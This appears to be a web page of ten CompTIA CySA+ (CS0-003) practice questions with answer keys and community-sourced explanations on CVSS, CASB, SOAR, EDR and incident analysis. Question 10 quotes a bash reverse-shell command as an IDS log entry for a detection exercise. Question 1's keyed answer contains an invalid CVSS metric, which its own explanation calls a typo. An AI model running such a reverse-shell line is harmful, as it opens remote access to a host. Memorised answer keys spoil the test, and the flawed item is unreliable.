CS0-003 practice questions 1–10

1. Question 1 · 527 in bank

   A recent zero-day vulnerability is being actively exploited, requires no user interaction or privilege escalation, and has a significant impact to confidentiality and integrity but not to availability. Which of the following CVE metrics would be most accurate for this zero-day threat?

   • ACVSS:31/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:K/A:L
   • BCVSS:31/AV:K/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:L
   • CCVSS:31/AV:N/AC:L/PR:N/UI:H/S:U/C:L/I:N/A:H
   • DCVSS:31/AV:L/AC:L/PR:R/UI:R/S:U/C:H/I:L/A:H

   Show answer

   Answer: A

   Explanation

   Going for A here, reasons being following (Put ** around the secrtions in the text): Vector - Network (Not Asked about) Complexity - Low (Not Asked about) Privileges Required - None (A recent zero-day vulnerability is being actively exploited, requires no user interaction or **privilege escalation**) User interaction - None (A recent zero-day vulnerability is being actively exploited, **requires no user interaction** or privilege escalation) Scope -Unchanged (Not Asked about) Confidentiality - High (has a significant impact to **confidentiality** and integrity but not to availability) Integrity - K ? - Typo Perhaps? Availability - Low (has a significant impact to confidentiality and integrity but not to **availability**)

   Source: Adapted from community discussion — Mr_TooTs

   Next question

2. Question 2 · 527 in bank

   The Chief Information Security Officer wants to eliminate and reduce shadow IT in the enterprise. Several high-risk cloud applications are used that increase the risk to the organization. Which of the following solutions will assist in reducing the risk?

   • ADeploy a CASB and enable policy enforcement
   • BConfigure MFA with strict access
   • CDeploy an API gateway
   • DEnable SSO to the cloud applications

   Show answer

   Answer: A

   Explanation

   To reduce the risk associated with shadow IT and high-risk cloud applications, the most effective solution is: A. Deploy a CASB (Cloud Access Security Broker) and enable policy enforcement. Explanation: A CASB is a specialized security solution designed to provide visibility and control over the use of cloud applications and services within an organization. It helps organizations identify and manage shadow IT by monitoring and controlling access to cloud applications.

   Source: Adapted from community discussion — nmap_king_22

   Next question

3. Question 3 · 527 in bank

   A company receives a penetration test report summary from a third party. The report summary indicates a proxy has some patches that need to be applied. The proxy is sitting in a rack and is not being used, as the company has replaced it with a new one. The CVE score of the vulnerability on the proxy is a 9.8. Which of the following best practices should the company follow with this proxy?

   • ALeave the proxy as is.
   • BDecomission the proxy.
   • CMigrate the proxy to the cloud.
   • DPatch the proxy.

   Show answer

   Answer: B

   Explanation

   Correct Since the proxy is not in use and has a critical vulnerability with a high CVSS score, the best course of action is to decommission the proxy. Patching the proxy might be an option if it were actively being used and could not be replaced, but since a new proxy is already in place, decommissioning is the most appropriate action.

   Source: Adapted from community discussion — kmordalv

   Next question

4. Question 4 · 527 in bank

   An analyst is examining events in multiple systems but is having difficulty correlating data points. Which of the following is most likely the issue with the system?

   • AAccess rights
   • BNetwork segmentation
   • CTime synchronization
   • DInvalid playbook

   Show answer

   Answer: C

   Explanation

   Correct When examining events in multiple systems and having difficulty correlating data points, the most likely issue could be a lack of proper time synchronization across the systems. Time synchronization is crucial for accurate event correlation and forensic analysis, as it ensures that events are properly aligned in chronological order.

   Source: Adapted from community discussion — kmordalv

   Next question

5. Question 5 · 527 in bank

   An analyst recommends that an EDR agent collect the source IP address, make a connection to the firewall, and create a policy to block the malicious source IP address across the entire network automatically. Which of the following is the best option to help the analyst implement this recommendation?

   • ASOAR
   • BSIEM
   • CSLA
   • DIoC

   Show answer

   Answer: A

   Explanation

   The best option to help the analyst implement the recommendation is: A. SOAR (Security Orchestration, Automation, and Response) SOAR platforms are specifically designed to automate security operations, including tasks such as incident response, threat intelligence management, and workflow orchestration. By utilizing a SOAR platform, the analyst can create automated workflows that trigger actions based on events detected by the EDR agent, such as collecting the source IP address of a malicious connection. The SOAR platform can then integrate with the firewall to automatically create and enforce a policy to block the malicious IP address across the entire network. This approach streamlines the incident response process, reduces manual intervention, and improves the organization's overall security posture.

   Source: Adapted from community discussion — glenndexter

   Next question

6. Question 6 · 527 in bank

   An end-of-life date was announced for a widely used OS. A business-critical function is performed by some machinery that is controlled by a PC, which is utilizing the OS that is approaching the end-of-life date. Which of the following best describes a security analyst’s concern?

   • AAny discovered vulnerabilities will not be remediated.
   • BAn outage of machinery would cost the organization money.
   • CSupport will not be available for the critical machinery.
   • DThere are no compensating controls in place for the OS.

   Show answer

   Answer: A

   Explanation

   A) vulnerabilities will not be remediated. From the Sybex 003 study guide: /// End-of- Life or Outdated Components /// Software vendors eventually discontinue support for every product they make. This is true for operating systems as well as applications. Once they announce the final end of support for a product, organizations that continue running the outdated software put themselves at a significant risk of attack. The vendor simply will not investigate or correct security flaws that arise in the product after that date. Organizations continuing to run the unsupported product are on their own from a security perspective, and unless you happen to maintain a team of operating system developers, that’s not a good situation to find yourself in.

   Source: Adapted from community discussion — [Removed]

   Next question

7. Question 7 · 527 in bank

   Which of the following describes the best reason for conducting a root cause analysis?

   • AThe root cause analysis ensures that proper timelines were documented.
   • BThe root cause analysis allows the incident to be properly documented for reporting.
   • CThe root cause analysis develops recommendations to improve the process.
   • DThe root cause analysis identifies the contributing items that facilitated the event.

   Show answer

   Answer: D

   Explanation

   Correct Answer: D. The root cause analysis identifies the contributing items that facilitated the event. Analysis: The main goal of conducting a root cause analysis (RCA) is to identify the underlying factors or causes of an incident. Understanding what contributed to the event helps in preventing its recurrence by addressing the root issues, rather than just the symptoms. Explanation of Other Options: A. The root cause analysis ensures that proper timelines were documented: While documenting timelines is important, it is not the primary purpose of an RCA. B. The root cause analysis allows the incident to be properly documented for reporting: Proper documentation is a part of the RCA process, but the key focus is on understanding and addressing the root causes. C. The root cause analysis develops recommendations to improve the process: This is a secondary outcome of an RCA. The primary purpose is to identify the causes first, then recommendations are developed based on those findings.

   Source: Adapted from community discussion — luiiizsoares

   Next question

8. Question 8 · 527 in bank

   Which of the following concepts is using an API to insert bulk access requests from a file into an identity management system an example of?

   • ACommand and control
   • BData enrichment
   • CAutomation
   • DSingle sign-on

   Show answer

   Answer: C

   Explanation

   Correct Using an API to insert bulk access requests from a file into an identity management system is an example of automation. Automation involves using technology, like APIs, scripts, or tools, to perform tasks and processes automatically without manual intervention.

   Source: Adapted from community discussion — kmordalv

   Next question

9. Question 9 · 527 in bank

   A SOC analyst recommends adding a layer of defense for all endpoints that will better protect against external threats regardless of the device’s operating system. Which of the following best meets this requirement?

   • ASIEM
   • BCASB
   • CSOAR
   • DEDR

   Show answer

   Answer: D

   Explanation

   To add a layer of defense for all endpoints, regardless of the device's operating system, the best option is: D. EDR (Endpoint Detection and Response) EDR solutions are specifically designed to provide advanced threat detection, investigation, and response capabilities on endpoints. They can monitor and analyze endpoint activity in real-time, detect suspicious behavior or indicators of compromise, and respond to threats autonomously or with human intervention. EDR solutions typically work across various operating systems, making them suitable for protecting endpoints regardless of the device's OS. While options A, B, and C (SIEM, CASB, and SOAR) are valuable security technologies, they may not directly provide endpoint protection capabilities like EDR does.

   Source: Adapted from community discussion — glenndexter

   Next question

10. Question 10 · 527 in bank

    A security analyst identified the following suspicious entry on the host-based IDS logs: bash -i >& /dev/tcp/10.1.2.3/8080 0>&1 Which of the following shell scripts should the analyst use to most accurately confirm if the activity is ongoing?

    • A#!/bin/bash nc 10.1.2.3 8080 -vv >dev/null && echo "Malicious activity" || echo "OK"
    • B#!/bin/bash ps -fea | grep 8080 >dev/null && echo "Malicious activity" || echo "OK"
    • C#!/bin/bash ls /opt/tcp/10.1.2.3/8080 >dev/null && echo "Malicious activity" || echo "OK"
    • D#!/bin/bash netstat -antp | grep 8080 >dev/null && echo "Malicious activity" || echo "OK"

    Show answer

    Answer: D

    Explanation

    Correct It uses the netstat command to list all active network connections and then uses grep to search for connections that involve the specified port (8080). If a connection is found, it implies that the malicious activity might still be ongoing. If no connection is found, it implies that the activity has likely ceased.

    Source: Adapted from community discussion — kmordalv

    Next question

Keyboard:J Kmove between questionsA–Dselect an answerRshow or hide the answer← →change page

CS0-003 practice, question 1. 527 questions available.